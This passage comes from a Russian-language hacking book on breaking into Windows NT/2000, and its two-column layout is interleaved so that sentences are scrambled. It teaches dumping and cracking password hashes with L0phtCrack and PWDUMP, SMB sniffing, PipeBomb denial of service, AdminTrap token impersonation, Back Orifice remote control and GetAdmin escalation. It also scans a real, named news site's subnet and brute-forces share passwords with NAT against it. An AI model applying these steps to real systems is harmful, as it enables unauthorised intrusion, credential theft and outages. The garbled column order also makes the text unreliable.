рованным паролям. Существуют три основных метода получения хэши %SystemRoot%\REPAIR\. Кроме того, если у вас имеется возможность
рованных паролей: непосредственно из системного реестра, из файла получить доступ к кассетам стримера, на который производится еже
SAM или при помощи сетевого sniffer'а. дневный backup или к дискетам ERD, то вы можете скопировать файл
SAM оттуда. Если вам удалось использовать дискету ERD, скопируйте
Получение хэшированных паролей оттуда сжатый файл sam._ и затем выполните команду:
непосредственно из реестра EXPAND SAM._ SAM
Если вы обладаете административными привилегиями, вы можете Затем разжатый файл sam._ может импортироваться в L0phtCrack.
получить хэшированные пароли, используя команду «Tools» (Сервис) ➪
Однако если администратор системы установил Service Pack 3 for
«Dump Password from Registry» (Получить дамп пароля из реестра). Для
NT 4.0 и использует утилиту SYSKEY для дополнительной криптоустой
этого укажите имя компьютера или адрес IP в формате \\Computer_name
чивой шифрации файлов реестра, то программа L0phtCrack (это справед
или \\IPaddress.
ливо для версий более ранних, чем L0phtCrack 2.5) не сможет произвес
ти импорт файла SAM.
Взлом Microsoft Windows 2000 135 136 Взлом Microsoft Windows 2000

Использование сетевого sniffer'а для получения Новые возможности L0phtCrack 2.52


хэшированных паролей ◆ Увеличение быстродействия на 450% за счет
Если администратор системы использует утилиту SYSKEY и вам оптимизированного ассемблерного кода для Pentium,
отказано в доступе к системному реестру по сети, имеется третий метод Pentium MMX, Pentium Pro и Pentium II и III. Это
для получения хэшированных паролей. Для этого используется сетевой приводит к увеличению быстродействия. Все
sniffer, который выполняет прослушивание и отбор пакетов для всех ус алфавитноцифровые пароли могут быть найдены за трое
тройств в физическом сегменте Ethernetсети. суток на Pentium II/450.

Сетевой sniffer, включенный с L0phtCrack, реализован в виде фай ◆ Новый гибридный метод расшифровки объединяет самые
ла readsmb.exe, который работает только в Windows NT 4.0 (в последней лучшие качества словарного и метода прямого подбора.
версии программы реализован сетевой sniffer для Windows 95/98). ◆ Возможность подключения национальных словарей.
Для запуска сетевого sniffer'а следует использовать команду: ◆ Реализация сетевого SMB sniffer'а для операционных
READSMB > PASSWD систем Windows 95/98.
Как вы видите из данной команды, вся информация, полученная ◆ Встроенная утилита PWDUMP2, которая позволяет
сетевым sniffer'ом, будет перенаправляться в текстовый файл passwd. Для произвести извлечение хэшированных паролей из файла
сбора всех хэшированных паролей пользователя достаточно запустить SAM, зашифрованного при помощи утилиты SYSKEY из
sniffer один раз утром, в период времени, когда большинство пользовате SP3.
лей приходит на работу и производит регистрацию в сети. Затем вы мо
жете прервать работу этой программы и открыть файл passwd Утилита PWDUMP2 http://www.webspan.net/~tas/pwdump2/ поз
в L0phtCrack. воляет получить список хэшированных паролей даже в системе с вклю
ченной утилитой SYSKEY. Данная программа может функционировать,
Для включения режима отладки sniffer'а используйте команду v: если только пользователь, ее запустивший, имеет привилегию «Отладка
READSMB V программ» и является членом группы Administrators. Кроме того, данная
На медленных машинах v опция может приводить к тому, что утилита может использоваться в том случае, если с атакуемой системы
readsmb будет пропускать некоторые пакеты, так что эта опция действи удалось получить копию базы данных безопасности системы.
тельна только для отладки и исследования. ◆ Получение паролей Windows NT при помощи
PWLфайлов.
Выделение паролей из хэша
Если вы получили доступ к клиентским компьютерам Windows
После того, как вы получили набор хэшированных паролей и за
3.11/95/98, которые функционируют в локальной сети, вы можете
грузили их в программу L0phtCrack, а также открыли словарь wordeng
узнать пароль системного администратора или других бюджетов в доме
lish, вы можете приступить к вычислению настоящих текстовых паролей.
не Windows NT косвенным образом. Для этого необходимо собрать все
Для начала этой операции выполните команду «Run» (Запуск) из меню
доступные *.PWL файлы, которые располагаются в системных катало
«Tools» (Сервис).
гах Windows 3.11/95/98. Для расшифровки этих файлов вы можете ис
Опции, установленные в диалоговом окне «Tools Options» по пользовать программу repwl.exe, которую можно найти по адресу
умолчанию, определяют, что сначала будет произведено вычисление па http://webdon.com /vitas/pwltool.htm.
ролей при помощи словаря wordenglish. Затем будет производится опре
Это одна из лучших программ для вычисления паролей из
деление паролей при помощи последовательного перебора заданных
PWLфайлов, которая почти мгновенно может вычислить любой пароль.
значений, что требует уже более длительного времени. L0phtCrack сохра
няет состояние вычислений каждые 5 минут в *.LC файл. Открыв при помощи кнопки «Browse» (Пролистать) PWLфайл,
выберите в списке нужный набор символов и затем нажмите кнопку
«Search Password» (Поиск пароля). Найденные таким образом пароли
Взлом Microsoft Windows 2000 137 138 Взлом Microsoft Windows 2000

помогут вам затем получить доступ к главному доменному серверу Глава 6.


Windows NT.
Но помните, что для более совершенной защиты системные адми
Использование Named Pipe File System
нистраторы, которые посообразительней, могут не ограничиться приме Named Pipe File System является виртуальной файловой системой,
нением специальных утилит, но могут установить вручную еще более же которая не управляет файлами, а управляет каналами named pipes. Кана
сткие права на объекты файловой системы. В частности, за лы named pipes относятся к классу файловых объектов вместе с файлами,
рекомендациями по установке таких ограничений они могут обратиться дисковыми директориями, устройствами и почтовыми ящиками (mail
по адресу: http://www.microsoft.com/ntserver/security/exec/overview/ slots). Поэтому большинство функций, предназначенных для работы с
Secure_NTInstall.asp файлами (в том числе CreateFile, ReadFile и WriteFile), работает и с кана
Соответственно там же можно искать и противоядие от их мощ лами. Канал named pipes представляет собой виртуальное соединение, по
ной защиты. которому передается информация от одного процесса к другому. Инфор
мация может передаваться как в одну сторону (однонаправленный канал),
К счастью, у дяди Билли работают еще такие люди, которые могут так и в обе стороны (двунаправленный или дуплексный канал). Создание
совершить ошибку, и благодаря таким людям мы можем проникнуть в виртуального канала в Windows NT происходит следующим образом:
систему через те дыры, которые они нам предоставляют. В частности, од
ной из таких дыр является возможность повысить свой уровень привиле ◆ Серверный процесс создает канал на локальном
гий и войти в группу администраторов, а потом… Достигается это с по компьютере с помощью функции программного
мощью программы GetAdmin.exe (автор — Константин Соболев). интерфейса Win32 «CreateNamedPipe».
Правда, в Service Pack 4 возможность эта устранена, но рискнуть стоит. ◆ Серверный процесс активизирует канал при помощи
Идея, заложенная в ней, довольнотаки проста и гениальна. Системные функции «ConnectNamedPipe», после чего к каналу могут
процессы в NT работают, как правило, под System Account, а значит, подключаться клиенты.
имеют на локальном рабочем месте администраторские права. Делайте
вывод. Но, к сожалению, Billy сработал оперативно, в SP4 это уже зала ◆ Далее производится подключение к каналу
тали. Но не стоит отчаиваться: кто ищет, тот всегда найдет. \\computer_name\pipe\pipe_name посредством вызова
функции «CreateFile».
Клиентский процесс может отключиться от канала в любой мо
Глава 5. мент с помощью функции «CloseHandle». Серверный процесс может от
Доступ в локальной сети ключить клиента в любой момент с помощью функции «DisconnectNa
medPipe».
Если вы получили полный доступ к одной из рабочих станций
в локальной или глобальной сети домена, вы можете использовать недо После прекращения связи с клиентом серверный процесс может
статочность защиты сетевых соединений серверов Windows NT. Слабая повторно использовать канал с помощью повторного вызова функции
защита сетевых соединений приводит к тому, что, используя специали «ConnectNamedPipe».
зированное программное обеспечение, вы сможете завесить сервер При помощи одного и того же канала сервер может одновременно
Windows NT («отказ в обслуживании») или даже получить права админи обслуживать нескольких клиентов. Для этого серверный процесс может
стратора путем перехвата административных сетевых соединений. Для создать Nное количество экземпляров канала, вызвав Nное количество
этого применяются следующие виды атак: раз функцию «CreateNamedPipe» (при этом в каждом вызове должно быть
◆ Использование Named Pipe File System. указано одно и то же имя канала).

◆ Использование средств удаленного управления Если канал имеет несколько экземпляров, клиент может быть
подключен к любому свободному (не занятому другим клиентом) эк
земпляру этого канала.
Взлом Microsoft Windows 2000 139 140 Взлом Microsoft Windows 2000

После установления виртуального соединения серверный процесс Эту атаку можно применять через Internet, инкапсулируя пакеты
и клиентский процесс могут обмениваться информацией при помощи SMB в пакеты TCP/IP (сетевая составляющая интерфейса Named Pipe
пар функций «ReadFile» и «WriteFile». Если один участник информаци File System организована как надстройка над протоколом SMB).
онного обмена записывает данные в канал при помощи функции
«WriteFile», то другой участник может прочитать, используя функцию
«ReadFile». Глава 8.
Интерфейс Named Pipe File System широко используется операци Программа AdminTrap
онной системой Windows NT для множества задач, некоторые из кото
рых играют важную роль в обеспечении безопасности операционной си Программа AdminTrap производит создание троянского экземпля
стемы. Например, удаленный вызов процедур (RPC) в Windows NT ра одного из системных каналов и ждет, когда к нему подключится кли
реализован как надстройка над NPFS. ент. Затем AdminTrap выполняет вызов функции Win32 «ImpersonateNa
medPipeClient», которая назначает маркер доступа (access token) клиента
Однако в смысле защиты информации и устойчивости программ экземпляра канала, handle серверного конца которого указан в качестве
интерфейс Named Pipe File System может использован для взлома или вы параметра функции. Если выполнение функции прошло успешно, один
ведения из строя операционной системы. Ниже приведены две програм из потоков программы AdminTrap получает полномочия пользовате
мы PipeBomb и AdminTrap, которые используют непродуманность реали ляклиента троянского экземпляра канала.
зации Named Pipe File System.
Вероятность того, что программа AdminTrap после вызова «Imperso
nateNamedPipeClient» получит полномочия администратора, весьма вели
Глава 7. ка, если случайно удастся перехватить следующие сетевые соединения:
Программа PipeBomb ◆ winreg — удаленное управление реестром, списком
сервисов, репликацией и административными
Прикладная программа PipeBomb производит открытие на запись оповещениями (alerts), удаленный просмотр системных
в вечном цикле новых экземпляров определенного системного канала и журналов, удаленное диагностирование и оценка
записывает в них порции бесполезной информации. Через довольно ко производительности;
роткий промежуток времени все свободные экземпляры канала будут за
◆ spoolss — удаленное управление принтером.
няты, после чего серверный процесс определяет, что все экземпляры его
канала заняты, после чего начинает создавать новые экземпляры канала. После запуска программа ожидает подключения администратора.
Каждый новый экземпляр канала обслуживается новым потоком Когда администратор начнет выполнять одну из административ
(thread), под который отводится новый буфер в оперативной памяти для ных операций, сетевое соединение администратора перехватывается,
хранения информации. Клиентский процесс постоянно открывает но программа выдает на экран окно, содержащее имя и список привилегий
вые экземпляры канала, поэтому серверному процессу приходится со этого администратора, и предлагает осуществить создание нового поль
здавать новые потоки. Это приводит к максимальной загрузке процессо зователя с именем AdminTrap, который входит в группу «Administrators».
ра сервера, а объем свободной оперативной памяти этого компьютера
быстро уменьшается. Через несколько минут атакованный компьютер
становится практически неработоспособным. Данная программа одина Глава 9.
ково эффективно работает для атак как на рабочие станции, так и на сер Использование средства удаленного
вера Windows NT 4.0. Для начала атаки необходимо запустить программу
PipeBomb и в поле ввести имя атакуемого компьютера. управления Back Oriffice 2000
Затем следует нажать кнопку «Create» (Создать) или «Write» (За Программа Back Orifice (дословный перевод — задний проход) яв
писать), после чего любой сервер Windows NT будет завешен в течение ляется еще одним средством взлома серверов Windows NT и удаленного
двух минут. управления ими через Internet. BO2K состоит из клиентской, серверной
Взлом Microsoft Windows 2000 141 142 Взлом Microsoft Windows 2000

части и утилит, позволяющих добавлять некоторые новые функции Кроме того, данная утилита используется для добавления к основ
и производить настройку серверной части. ному запускаемому модулю bo2k.exe дополнительных возможностей, ко
торые реализованы в виде Plugins DLL.
Данное программное обеспечение может работать на компьюте
рах с установленными операционными системами Windows 95/98
и Windows NT. Глава 10.
Клиентская часть BO2K (файл bo2kgui.exe) используется на ком Удаленный взлом Windows NT через Internet
пьютере хакера и позволяет получить доступ к машине с установленной
серверной части по протоколам TCP или UPD по порту 31337. Самым трудным взломом Windows NT считается удаленный взлом
Обычно перед внедрением серверной части (размер 120 Кб) про через Internet. В самом начале у атакующего отсутствует вообще ка
изводится сканирование подсети и выявление конкретного IPадреса. каялибо информация, кроме имени хоста и его IPадреса. Если на уда
Затем серверная часть запускается на сервере при помощи любого ло ленном сервере работает Webсервер, вы тоже сразу же сможете интуи
кального бюджета. Хакер, используя клиентскую часть, может выпол тивно определить, с какой операционной системой вы имеете дело. Для
нять следующие действия: этого следует, используя браузер, провести исследование страничек и от
рытых для просмотра каталогов Webсервера. Для Webсерверов IIS
◆ производить редактирование реестра; 3.0/4.0/5.0, которые являются продуктами Microsoft и работают исклю
◆ осуществлять полный контроль над файловой системой чительно под Windows NT, характерны следующие особенности:
через браузер; Webстраницы имеют расширения *.htm, *.asp; страницы имеют коди
ровку Win1253, а не KOI8R (для русскоязычных страниц) и прочие кос
◆ получать информацию о введенных паролях; венные признаки.
◆ просматривать текущее состояние экрана на сервере; Кроме того, следует тщательно просмотреть структуру каталогов
документов и скриптов. Каталоги документов, в которых отсутствуют
◆ просматривать сетевые ресурсы, подключенные к серверу;
файлы index.htm, покажут вам полный список файлов и расположенных
◆ управлять системными процессами; ниже директорий. Случайно бродя по Internet`у, вы можете случайно на
ткнуться на такой Webсервер новостей штата Айдахо: http://www.ida
◆ выполнять удаленную перезагрузку;
honews.com/, который полностью соответствует описанным критериям.
◆ удаленно выполнять программы с возможностью Но самое смешное то, что у этого сервера открыты для просмотра ката
перенаправления консоли на компьютер хакеру. логи скриптов scripts и cgibin.
Перед внедрением серверная часть конфигурируется при помощи Если каталоги скриптов scripts и cgibin открыты для просмотра, то
Мастера конфигурирования BO2K Configuration Wizard (файл bo2kcfg.exe). этот сервер — просто находка для опытного хакера. Используя браузер,
Мастер BO2K Configuration Wizard позволяет выбрать файл сервера BO2K удаленный клиент может запускать любые файлы из этих директорий на
(bo2k.exe) и задать пароль, который затем будет использоваться для досту Webсервере. Остается какимлибо способом загрузить одну из про
па по сети. Кроме того, мастер позволяет выбрать порт для IPсоедине грамм, описанных раннее, в каталоги скриптов scripts и cgibin. Для это
ния, метод шифрования соединений между клиентом и сервером. Вам не го исследуем открытые каталоги более подробно.
обходимо указать, какой сетевой модуль будет использоваться в
Как вы можете видеть, открытый каталог cgibin позволил нам по
IPсоединениях TCP или UPD. TCPсоединения обычно используются
лучить информацию о том, что данный сервер Windows NT использует
для организации управления через сеть Internet. UPDсоединения приме
язык Perl. Используя обычный браузер, вы можете скачать все скрипты
няются для работы в ЛВС.
из этих директорий и произвести их анализ на получение различного ро
да информации об удаленном сервере. Кроме того, в каталоге cgibin на
ходится подкаталог MSWin32x86object. Войдем в него и просмотрим
его содержимое.
Взлом Microsoft Windows 2000 143 144 Взлом Microsoft Windows 2000

Как мы видим, подкаталог MSWin32x86object содержит инстал впечатление, что данный сервер уже ломали раннее, т.к.,
лированную версию языка Perl 5.0, а также сам дистрибутив Perl возможно, эти файлы были загружены на сервер хакерами.
5.00502.exe. Затем скачаем из этой директории файл регистрации ошибок
Затем можно просканировать данный хост на наличие открытых
PerlISErr.log:
портов и, следовательно, сервисов, на нем установленных. Для сканиро
*** 'E:\docs' error message at: 1998/11/24 13:23:57 вания портов вы можете использовать следующие сканеры портов
Can't open perl script "E:\docs": Permission denied Windows:
*** 'E:\docs' error message at: 1998/12/25 04:49:16
Can't open perl script "E:\docs": Permission denied ◆ 7th Sphere PortScan v1.1
*** 'E:\docs' error message at: 1999/03/26 16:05:43 ◆ All Around Internet
Can't open perl script "E:\docs": Permission denied
*** 'E:\docs' error message at: 1999/09/08 11:39:54 ◆ Ogre v0.9b
Can't open perl script "E:\docs": Permission denied ◆ Port Scanner v1.1
*** 'E:\docs' error message at: 1999/09/08 11:58:34
Can't open perl script "E:\docs": Permission denied ◆ PortScan Plus
*** 'E:\docs\idaho8' error message at: 1999/10/25 13:51:51 ◆ SiteScan by Rhino9/Intercore
Can't open perl script "E:\docs\idaho8": Permission denied
Конечно, данный журнальный файл дает не слишком много ин ◆ TCP Port Scanner
формации, кроме той, что основные документы расположены на диске ◆ UltraScan v1.2.
E: в каталоге docs, и также Perl.exe использовался раннее для неудачных
попыток проникновения в систему. Затем следует просмотреть докумен Данные утилиты вы можете получить со страницы http://208.234.
тацию в сети Internet по ошибкам и дырам в реализации Perl 5.0 для 248.19:81/hack/genar/archive5.html. Наиболее полезным и простым ска
Windows NT и, исходя из этого, произвести анализ находящихся в ката нером портов является Ogre v0.9b (Rhino9). Другие сканеры портов под
логах scripts и cgibin *.plскриптов. Windows или UNIX вы сможете отыскать при определенном упорстве
в сети Internet.
Производим просмотр каталога scripts.
Утилита Ogre обеспечивает взломщика эффективным инструмен
Открытый каталог scripts дает нам следующую информацию: том для сбора информации об уязвимых местах для серверов Windows NT
◆ Подкаталог /scripts/centralad/ содержит средства для и прочих хостов Internet.
централизованного администрирования какойто Ogre позволяет выполнить ряд тестов для выбранной подсети
информационной системы. класса C и проверить хосты на известные дыры в операционных систе
◆ Подкаталог scripts/iisadmin/ содержит HTMLверсию для мах Windows 95 и Windows NT, а также в установленном программном
администрирования Webсервера IIS, которая очень может обеспечении. Утилита Ogre позволяет:
пригодиться при взломе системы. ◆ Определить активные хосты в данной подсети класса C;
◆ Подкаталог scripts/tools/ содержит различные утилиты для ◆ Просмотреть выявленные хосты, чтобы определить
IIS. доступные удаленные службы и порты, по которым к ним
◆ Файл General.mdb — файл базы данных Microsoft Access, можно обратиться;
говорит о том, что, возможно, на сервере установлена ◆ Получить информацию относительно состояния netbios
СУБД MS Access; (Nbtstat);
◆ Файлы PASSWRD2.EXE и PASSWRD2.CPP имеют очень ◆ Просмотреть доступные сетевые ресурсы, выделенные
странное имя PASSWRD2.*, которое напоминает один в совместное использование (net view);
из известных хакерских инструментов. Создается
Взлом Microsoft Windows 2000 145 146 Взлом Microsoft Windows 2000

◆ Проверить существование серверных расширений Port 80: Closed


Microsoft Frontpage; Port 110: Closed
Port 111: Closed
◆ Проверить присутствие в системе средства Port 139: Closed
администрирования HTML для IIS; Port 443: Closed
◆ Проверить существование индексированных по Port 1080: Closed
умолчанию документов Index Server. Port 8181: Closed

Scanning — 198.60.102.2
Глава 11. ======================
*Inactive IP address*
Использование утилиты Ogre для проверки
подсети сервера новостей штата Айдахо Scanning — 198.60.102.3
======================
Перед использованием этой утилиты необходимо получить IPад *Inactive IP address*
рес сервера http://www.idahonews.com/.
Scanning — 198.60.102.4
Для этого выполним команду ping www.idahonews.com:
======================
Pinging www.idahonews.com [198.60.102.4] with 32 bytes of data: *Inactive IP address*
Request timed out.
Request timed out. Scanning — 198.60.102.5
Request timed out. ======================
Request timed out. Commencing Port Scan:
IPадрес сервера отображается через DNS, однако ping не прохо
дит. Это означает, что данный сервер прикрыт firewall'ом и сканирование Port 21: Closed
его портов будет неудачным. Однако сканирование данной подсети поз Port 23: Closed
волит выявить другие сервера домена idahonews.com. Port 25: Open
Port 53: Open
Для тестирования подсети, в которой находится сервер новостей
Port 79: Open
штата Айдахо, введем первый адрес подсети в IP в поле «Starting IP» (На
Port 80: Closed
чальный IPадрес) 198.60.102.1. Затем введем последний адрес подсети в
Port 110: Open
«Ending Octet» 254 (Конечный октет). Для начала сканирования нажмем
Port 111: Closed
кнопку «Start scan» (Начать сканирование).
Port 139: Closed
После сканирования получим следующие результаты: Port 443: Closed
Scanning — 198.60.102.1 Port 1080: Closed
====================== Port 8181: Closed
Commencing Port Scan:
Scanning — 198.60.102.6
Port 21: Closed ======================
Port 23: Open *Inactive IP address*
Port 25: Closed ....
Port 53: Closed ....
Port 79: Open Scanning — 198.60.102.38
Взлом Microsoft Windows 2000 147 148 Взлом Microsoft Windows 2000

======================= Port 8181: Closed


*Inactive IP address* Scanning — 198.60.102.56
=======================
Scanning — 198.60.102.39 *Inactive IP address*
=======================
Commencing Port Scan: ....
....
Port 21: Closed Scanning — 198.60.102.254
Port 23: Closed =======================
Port 25: Open *Inactive IP address*
Port 53: Open Идеальным вариантом при взломе Windows NT были бы открытые
Port 79: Open порты 135139. Тогда бы мы смогли получить массу познавательной ин
Port 80: Closed формации о сервере, его сервисах и прочих ресурсах. Однако при скани
Port 110: Open ровании мы получили:
Port 111: Closed
Scanning — 198.60.102.4
Port 139: Closed
======================
Port 443: Closed
*Inactive IP address*
Port 1080: Closed
Port 8181: Closed Действительно, данный сервер прикрыт firewall'ом. Попробуем
Scanning — 198.60.102.40 определить его тип, выполнив трейсинг соседних активных хостов. Для
======================= этого выполним команду tracert 198.60.102.1 (для UNIX команда trace
*Inactive IP address* route):
.... Tracing route to cisco.idahonews.com [198.60.102.1]over a maximum
.... of 30 hops:
Scanning — 198.60.102.54 11 240 ms 241 ms 240 ms gbr2 p01.wswdc.ip.att.net
======================= [12.123.8.241] 12 261 ms 260 ms 251 ms gbr1 p40.oc
*Inactive IP address* 48.sl9mo.ip.att.net [12.122.2.82] 13 330 ms 301 ms 390 ms
gbr2 p50.oc 12.sffca.ip.att.net [12.122.3.17] 14 301 ms 320 ms
Scanning — 198.60.102.55 311 ms ar2 a3120s4.sffca.ip.att.net [12.127.1.145] 15 401 ms
======================= 350 ms 351 ms 12.126.207.46 16 381 ms 350 ms 371 ms
Commencing Port Scan: cisco.idahonews.com [198.60.102.1]
Trace complete
Port 21: Closed Еще одной распространенной ошибкой администраторов неболь
Port 23: Closed ших сетей является манера давать названия хостам, исходя из выполняе
Port 25: Open мой ими функции. Благодаря этому мы получили информацию, что хос
Port 53: Open том по адресу 198.60.102.1 является Firewall корпорации Cisco. Его так
Port 79: Open просто не хакнешь. Хотя, конечно, существует шанс, что ленивый админ
Port 80: Closed забыл сменить заводской пароль. У хоста cisco.idahonews.com открытыми
Port 110: Open являются полученные при сканировании Ogre порты: 23 (Telnet), 79.
Port 111: Closed
Port 139: Closed Затем выполним команду tracert 198.60.102.5:
Port 443: Closed Tracing route to router.idahonews.com [198.60.102.5]over a maxi
Port 1080: Closed mum of 30 hops:
Взлом Microsoft Windows 2000 149 150 Взлом Microsoft Windows 2000

12 260 ms 270 ms 261 ms gbr1 p40.oc 48.sl9mo.ip.att.net включить аудит, сконфигурировать реестр, поставить последние патчи
[12.122.2.82] 13 321 ms 310 ms 300 ms gbr2 p50.oc и fix'ы, а также отключить все ненужные службы и привязки (Binding)
12.sffca.ip.att.net [12.122.3.17] 14 310 ms 321 ms 320 ms ar2 в настройках аппрета «Network» (Сеть).
a300s3.sffca.ip.att.net [12.127.5.177] 15 341 ms 340 ms 371 ms
12.126.207.34 16 371 ms * * 198.60.104.181 17 361 ms Если сервер новостей штата Айдахо не был подвергнут вышеопи
361 ms 370 ms router.idahonews.com [198.60.102.5] санным настройкам, утилита Ogre выдала бы следующую информацию:
Trace complete Scanning 198.60.102.4
Опять мы получили информацию, что хостом по адресу 198.60. ======================
102.5 является маршрутизатор router (который может быть реализован в Commencing Port Scan:
виде аппаратного устройства или обычного UNIXроутера). У хоста Port 21: Open
router.idahonews.com открыты порты: 25 (SMNPпочта), 53 (DNSсер Допустим, что открыта служба FTP, которая входит в состав IIS.
вер), 110 (POPсервер). Исходя из открытых портов, можно с уверенно Port 23: Closed
стью заявить, что данный сервер является почтовым и DNSсервером. Port 25: Open
Можно с большой уверенностью сказать, что данный маршрутизатор пе
Допустим, что открыта служба SMNP, которая входит в состав IIS
редает пакеты во внутреннюю локальную подсетку idahonews.com
192.168.0.*. Port 53: Open
Port 79: Closed
Трассировка других хостов подсетки 198.60.102.6253 дала инфор Port 80: Open
мацию, что другие IPадреса не имеют никакого отношения к домену
Допустим, что открыта служба HTTP, которая входит в состав IIS.
idahonews.com.
Port 110: Open
Как мы видим, полученной полезной информации явно не хвата Port 111: Closed
ет для проникновения в систему. Для взлома www.idahonews.com необ Port 139: Open
ходимо собрать наиболее полную информацию обо всех трех хостах.
Допустим, что возможен File Sharing.
Кроме того, взлом Firewall'ов Cisco и Unixроутеров выходит за границы
данной темы. Поэтому мы рассмотрим идеальный вариант, при котором Port 443: Closed
сервер Windows NT не был бы прикрыт Firewall'ом и порты 135139 бы Port 1080: Closed
ли бы открыты. Port 8181: Closed
Surveying Web Server:
Checking for Vulnerable URLs:
Глава 12. Frontpage Extensions: Not Present
IIS HTML Administration Interface: Present
Взлом сервера Windows NT Допустим, что возможно управление сервером через IIS.
IIS Samples: Present
Идеальный вариант Commencing Nbtstat Scan:
Итак, рассмотрим идеальный вариант, при котором к сети Internet NetBIOS Remote Machine Name Table
подключен сервер Windows NT, который не прикрыт Firewall'ом, и хотя Name Type Status
бы один порт в диапазоне 135139 открыт. Такое иногда бывает и сейчас,
когда молодая компания недавно начала свой бизнес, не имеет ни малей Registered Registered Registered Registered Registered Registered
шего понятия о том, зачем ей firewall, а также пытается сэкономить день Registered Registered Registered Registered Registered
ги. Кроме того, может быть, в такой компании работает неопытный сис
темный администратор, который просто инсталлирует Windows NT и MAC Address = XX XX XX XX XX XX
устанавливает последний Service Pack. Затем ставится и настраивается Символами X, Y и Z заменены реальные значения, которые мы
IIS, после чего админ успокаивается, хотя ему следовало, прежде всего, получили бы, если бы сервер не был firewall'ом.
Взлом Microsoft Windows 2000 151 152 Взлом Microsoft Windows 2000

YYYYY <00> UNIQUE Имя машины Использование программы NAT для подбора
YYYYY <20> UNIQUE
паролей к выделенным в совместное
ZZZZZZZZZ <00> GROUP
ZZZZZZZZZ <1C> GROUP использование ресурсам
ZZZZZZZZZ <1B> UNIQUE Наиболее удобной и полнофункциональной из этих утилит явля
ZZZZZZZZZ <1E> GROUP ется программа NetBIOS Auditing Tool, реализации которой есть как под
YYYYY <03> UNIQUE UNIX, так и под Win32.
ZZZZZZZZZ <1D> UNIQUE
Изначально программа Nat была создана для выполнения различ
INet~Services <1C> GROUP
ных проверок защиты операционных систем, использующих NetBIOS.
..__MSBROWSE__.<01> GROUP
Данная программа работает в режиме командной строки. Вот ее син
IS~YYYYY.......<00> UNIQUE
таксис:
Кроме того, информацию по NetBIOS мы можем получить, вы
NAT [ O <ФАЙЛ_РЕЗУЛЬТАТОВ>] [ U <ФАЙЛ_СПИСКА_ПОЛЬЗОВАТЕЛЕЙ>]
полнив команду nbtstat A x.x.x.x.Для расшифровки кодов имен NetBIOS
[ P <ФАЙЛ_ СЛОВАРЯ_ПАРОЛЕЙ>] <IP АДРЕС>
вы можете использовать описания кодов.
По умолчанию в качестве файла списка пользователей использу
◆ Термин UNIQUE означает, что одному имени которого ется файл Userlist.txt. Подправим этот файл, добавив в него новые имена,
присвоен один IPадрес; полученные при помощи программы Ogre. Файл словаря паролей лучше
◆ Термин GROUP означает нормальную группу, одному взять из программы L0phtCrack, сохранить под именем Passlist.txt. Доба
имени которой может принадлежать группа IPадресов. вим в него имена, полученные при помощи программы Ogre. Затем из
командной строки выполним программу nat:
Для идеального варианта, который мы рассматриваем, мы полу
NAT o REZALT.TXT 198.60.102.4
чили информацию, от которой можно отталкиваться при взломе
Windows NT. Программа NAT произведет тестирование всех сетевых служб,
пробуя произвести подключение.
Из этой информации можно понять, что сервер предоставляет до
ступ для выделенных в совместное использование ресурсов и FTP. Обычно данный процесс бывает довольно длительным, продол
жительность его зависит от того, насколько удачно были составлены
Затем можно попробовать зайти на сервер, используя бюджеты, файлы списка пользователей и паролей. Однако с большой уверенно
которые стандартно присутствуют в Windows NT (Guest, Administrator), стью можно сказать, что программа NAT сумеет подобрать пароль к од
однако наверняка у вас ничего не получится. Кроме того, вы можете по ному из бюджетов в промежутке от 30 минут до 50 часов.
пытаться использовать бюджеты IIS (Internet Information Service), обыч
но они выглядят так IUSR_<имя машины>. При помощи утилиты Ogre Далее процессу взлома сервера Windows NT гарантирован практи
мы получили информацию, что имя машины YYYYY, следовательно, бю чески 100% успех. Время, которое потребуется для взлома системы, зави
джет IIS будет IUSR_ YYYYY.Однако и с этим вариантом, наверное, тоже сит от того, насколько туп администратор системы. Если программе NAT
ничего не получится. удалось определить пароль для бюджета Administrator, то на этом процесс
взлома успешно закончен и вы можете делать с сервером практически
Для взлома сервера Windows NT с выделенными в совместное ис что угодно.
пользование каталогами вам следует использовать утилиты, которые
позволяют производить подключение к выделенным ресурсам с пользо Если бюджет, который программа NAT определила, не является
вательскими бюджетами и выполняют подбор пароля из словаря и/или бюджетом Administrator, то время взлома зависит от того, какими воз
прямым перебором всех возможных вариантов. можностями обладает данный аккаунт и на какие ресурсы он имеет пра
ва доступа. Может быть, удастся подсоединить диск, используя команду
NET USE, и скопировать резервную копию файла базы данных паролей
SAM._ из каталога WINNT/REPAIR для последующего вскрытия при по
мощи программы L0phtCrack, как уже было описано выше.
Взлом Microsoft Windows 2000 153 154 Хакерские трюки

Кроме того, подсоединив диск при помощи NET USE (или при
помощи FTP), может быть, удастся загрузить на удаленный компьютер Хакерские трюки
одну из программ, которые помогут получить права администратора
(Getadmin и т.д.). Для выполнения таких программ удаленно на серверах
Windows NT следует скопировать данные в каталог скриптов или в
InetPub/cgibin. Затем, используя браузер, можно выполнить удаленно
на сервере данные программы, введя в строке адреса строчку: Глава 1.
http://www.idahonews/scripts/getadmin.exe?mmmm Классификация методов взлома
где mmmm является именем пользователя, пароль которого вы оп
ределили.
компьютеров
Таким же образом возможно выполнить любую хакерскую утили Допустим, что вы имеете какойлибо доступ к сети и хотите рас
ту вроде PWDUMP.EXE (для получения хэша пароля администратора) ширить свои возможности путем проникновения на другие компьютеры
или троянские программы вроде Back Orifice или NetBus (http://indigo.ie/ или повысив свои права на машине, с которой вы работаете. Поэтому все
~lmf/nb.htm), которые позволят сделать довольно многое. методы взлома делятся на две группы:

Методы для проникновения на компьютер из сети


◆ Подбор пароля. Критерий — время. Следует иметь в виду
то, что обычно на большинстве UNIX login с удаленного
терминала пользователю root запрещен. Поэтому обычно
подбирают пароли обычных пользователей.
◆ Использование ошибок операционных систем для
получения информации о пользователях на машине
(например, login&password).
◆ Использование сканирования проходящих в сети пакетов
(sniffing), для получения информации о пользователе(ях).
◆ «Троянские кони» — программы, содержащие в себе некий
«довесок» и «подаренные» на атакуемую машину.
◆ Один из новых способов: использование ошибок в
WWWобозревателях и возможностей новых элементов
WWWстраниц — JAVA, ActiveX. В этих недавно
появившихся средствах создания интерактивных
WWWстраниц используется технология перекачки некого
кода и/или скрипта на машину пользователя и затем их
автоматический запуск.

Методы повышения своих прав на компьютере


В этом случае все зависит от операционной системы компьютера,
на котором вы хотите добиться повышенных привилегий. У каждой есть
свои дыры; про стандартные не имеет смысла рассказывать, разве что
Хакерские трюки 155 156 Хакерские трюки

в качестве классических примеров, и они уже давно заткнуты, про ос Глава 3.
тальные, естественно, никто не расскажет — т.к. их тут же заткнут, так
что ищите. Это могут быть, например: Как навредить недругу с помощью Internet
